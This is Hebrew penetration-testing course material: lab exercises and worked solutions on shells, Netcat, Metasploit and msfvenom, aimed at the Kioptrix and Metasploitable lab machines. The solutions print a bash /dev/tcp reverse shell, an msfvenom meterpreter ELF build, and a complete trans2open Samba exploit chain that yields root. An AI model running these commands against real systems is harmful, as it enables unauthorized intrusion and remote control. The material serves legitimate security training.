

מודול 7 — ניצול והשגת גישה — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 7: ניצול והשגת גישה
2.  פתרונות מלאים — מודול 7: ניצול והשגת גישה

תרגילים — מודול 7: ניצול והשגת גישה

רק על מכונות המעבדה שלך (Kioptrix / Metasploitable). קח Snapshot לפני ניצול. פתרונות ב-solutions.md.

מקרא רמות: קל • בינוני • מתקדם • אתגר

חלק א' — הבנת Shells ו-Payloads (●)

7.1 — הסבר את ההבדל בין Reverse Shell ל-Bind Shell: מי יוזם את החיבור בכל אחד, ואצל מי נמצא ה-Listener?

7.2 — מדוע Reverse Shell נפוץ יותר מ-Bind Shell בעולם האמיתי?

7.3 — בהינתן שני שמות Payload: linux/x86/shell/reverse_tcp ו-linux/x86/shell_reverse_tcp — מי מהם Staged ומי Non-Staged? לפי מה קבעת?

חלק ב' — Shells ו-Netcat ידניים (●●)

7.4 — פתח Listener של Netcat על פורט 4444 במכונת Kali שלך. הסבר מה עושה כל דגל ב-lvnp-nc .4444

7.5 — ממכונה שנייה במעבדה (או טרמינל אחר), התחבר ל-Listener עם nc <kali-ip> 4444 והעבר טקסט. אמת שהחיבור עובד.

7.6 ● — גלוש ל-revshells.com, והפק פקודת Reverse Shell של Bash עם ה-IP והפורט שלך. הסבר מה כל חלק בפקודה עושה.

חלק ג' — Metasploit (●●●)

7.7 — הפעל msfconsole. חפש Exploit עבור samba. כמה תוצאות קיבלת?

7.8 — בחר Module, הרץ show options, והסבר מה המשמעות של LHOST, RHOST ו-PAYLOAD.

7.9 ● — הרץ show payloads על ה-Module שבחרת. מצא Payload מסוג Reverse ו-Payload מסוג Bind.

חלק ד' — msfvenom (🟡)

7.10 — צור עם `msfvenom` קובץ Reverse Shell של Linux (פורמט elf) עם ה-LHOST/LPORT שלך. אל תריץ אותו — רק צור והסבר את הפקודה.

🔴 אתגר מסכם — “Kioptrix root-ל Recon-7 על Kioptrix”

זהו האתגר המרכזי — שרשור מלא של מודולים 5 → 6 → 7:

1. **סיכום מנייה:** קח את דוח המנייה ממודול 6 — מהי החולשה שבחרת לנצל?
2. **בחירת Exploit:** ב-`msfconsole`, מצא ובחר את ה-Exploit המתאים (`Samba trans2open / usermap`).
3. **הגדרה:** `set RHOSTS (Kioptrix)`, `set LHOST (Kali)`, בחר PAYLOAD מתאים.
4. **ניצול:** הרץ `exploit` והשג Shell.
5. **הוכחה:** הרץ `whoami`, `id`, `hostname`. **צלם מסך** של `whoami` המראה `root`.
6. **תיעוד:** כתוב את השרשרת המלאה: איזו חולשה → איזה Exploit → איזה Payload → מה השגת. זהו “Proof of Concept” לדוח (מודול 16).

🎯 אם ראית `root` — ביצעת בדיקת חדירות מלאה מקצה לקצה! זה הישג אמיתי.

✅ רשימת בקרה — לפני מעבר למודול 8

- ☐ אני מבין Reverse מול Bind Shell ומתי כל אחד
- ☐ אני מבין Staged מול Non-Staged Payloads
- ☐ אני פותח Listener עם Netcat וקולט חיבור
- ☐ אני שולט בזרימת (search/use/set/exploit) Metasploit
- ☐ אני יוצר Payloads עם `msfvenom`
- ☐ ניצלתי את Kioptrix והשגתי `root` (עם צילום מסך)

פתרונות מלאים: `solutions.md`

✅ פתרונות מלאים — מודול 7: ניצול והשגת גישה

חלק א' — הבנת Shells ו-Payloads

7.1 — ב- **Reverse Shell** הקורבן יוזם את החיבור אל התוקף, וה-Listener נמצא אצל התוקף. ב- **Bind Shell** התוקף יוזם את החיבור אל הקורבן, וה-Listener נמצא אצל הקורבן (על פורט שנפתח שם).

7.2 — כי הקורבן לרוב נמצא מאחורי **NAT/Firewall** שחוסם חיבורים **נכנסים** אך מתיר **יוצאים**. Reverse Shell מנצל תעבורה יוצאת, ולכן עוקף את החסימה.

7.3 — `linux/x86/shell/reverse_tcp` → **Staged** (ה- / מפריד בין ה-Stager ל-Stage).
`linux/x86/shell_reverse_tcp` → **Non-Staged** (ה- _ = הכל בבת אחת).

חלק ב' — Netcat ו-Shells ידניים

7.4

```
nc -lvnp 4444
```

• `-l` = Listen (מצב האזנה) · `-v` = Verbose (פירוט) · `-n` = ללא רזולוציית DNS · `-p 4444` = הפורט.

7.5

```
# במכונה השנייה:
nc <kali-ip> 4444
# החיבור עובד. Kali הקלד טקסט — הוא יופיע בצד של
```

7.6 — מ-Bash Reverse Shell, `revshells.com` לדוגמה:

```
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
```

• `bash -i` = Shell אינטראקטיבי · `>& /dev/tcp/IP/PORT` = הפניית קלט/פלט לחיבור TCP אל התוקף · `0>&1` = חיבור ה-stdin לאותו ערוץ. התוצאה: Shell שמתחבר חזרה אל ה-Listener שלך.

חלק ג' — Metasploit

7.7

```
msfconsole  
search samba
```

תקבל רשימת Modules (exploit/auxiliary) הקשורים ל-Samba — מספר התוצאות משתנה בין גרסאות.

7.8

```
use exploit/linux/samba/trans2open  
show options
```

- RHOSTS = IP-ה של היעד (הקורבן).
- LHOST = IP-ה של התוקף (Kali שלך) — לשם ה-Reverse Shell יתחבר.
- PAYLOAD = הקוד שירוץ אחרי הניצול (Shell/Meterpreter).

7.9

```
show payloads
```

דוגמאות: `linux/x86/shell_reverse_tcp` (Reverse) מול `linux/x86/shell_bind_tcp` (Bind).

חלק ד' — msfvenom

7.10

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o shell
```

- `-p` = ה-Payload · `LHOST/LPORT` = לאן ה-Shell יתחבר · `-f elf` = פורמט Linux הרצה · `-o shell` = קובץ הפלט. את הקובץ מעלים ליעד ומריצים, וקולטים עם `use multi/handler`.

אתגר מסכם — פתרון מלא (Kioptrix → root)

```
msfconsole
search trans2open
use exploit/linux/samba/trans2open
show options
set RHOSTS 192.168.1.10      # Kioptrix
set LHOST 192.168.1.5        # שליך Kali
set PAYLOAD linux/x86/shell_reverse_tcp
exploit
```

כשמתקבל Shell:

```
whoami      # root
id           # uid=0(root)
hostname    # kioptrix.level1
```

שרשרת מלאה לתיעוד (PoC):

```
## Proof of Concept – Kioptrix Level 1
1. Recon (מודול 5): זיהוי היעד
2. Enumeration (מודול 6): nmap → Samba 2.2.1a פניע
3. Vuln Research: searchsploit samba 2.2 → trans2open (CVE-2003-0201)
4. Exploitation: Metasploit trans2open + reverse_tcp payload
5. Result: root shell (uid=0) – שליטה מלאה
```

אם ראת root — ביצעת בדיקת חדירות מקצה לקצה. המשך למודול 8.

פתרון בעיות נפוצות: - אין Shell? ודא ש-LHOST הוא ה-IP הנכון של Kali (ip a), ושהמכונות באותה רשת (ping ביניהן). - נסה להחליף בין Payload Staged ל-Non-Staged. - ודא שלקחת Snapshot — אם השירות קרס, שחזר והרץ שוב.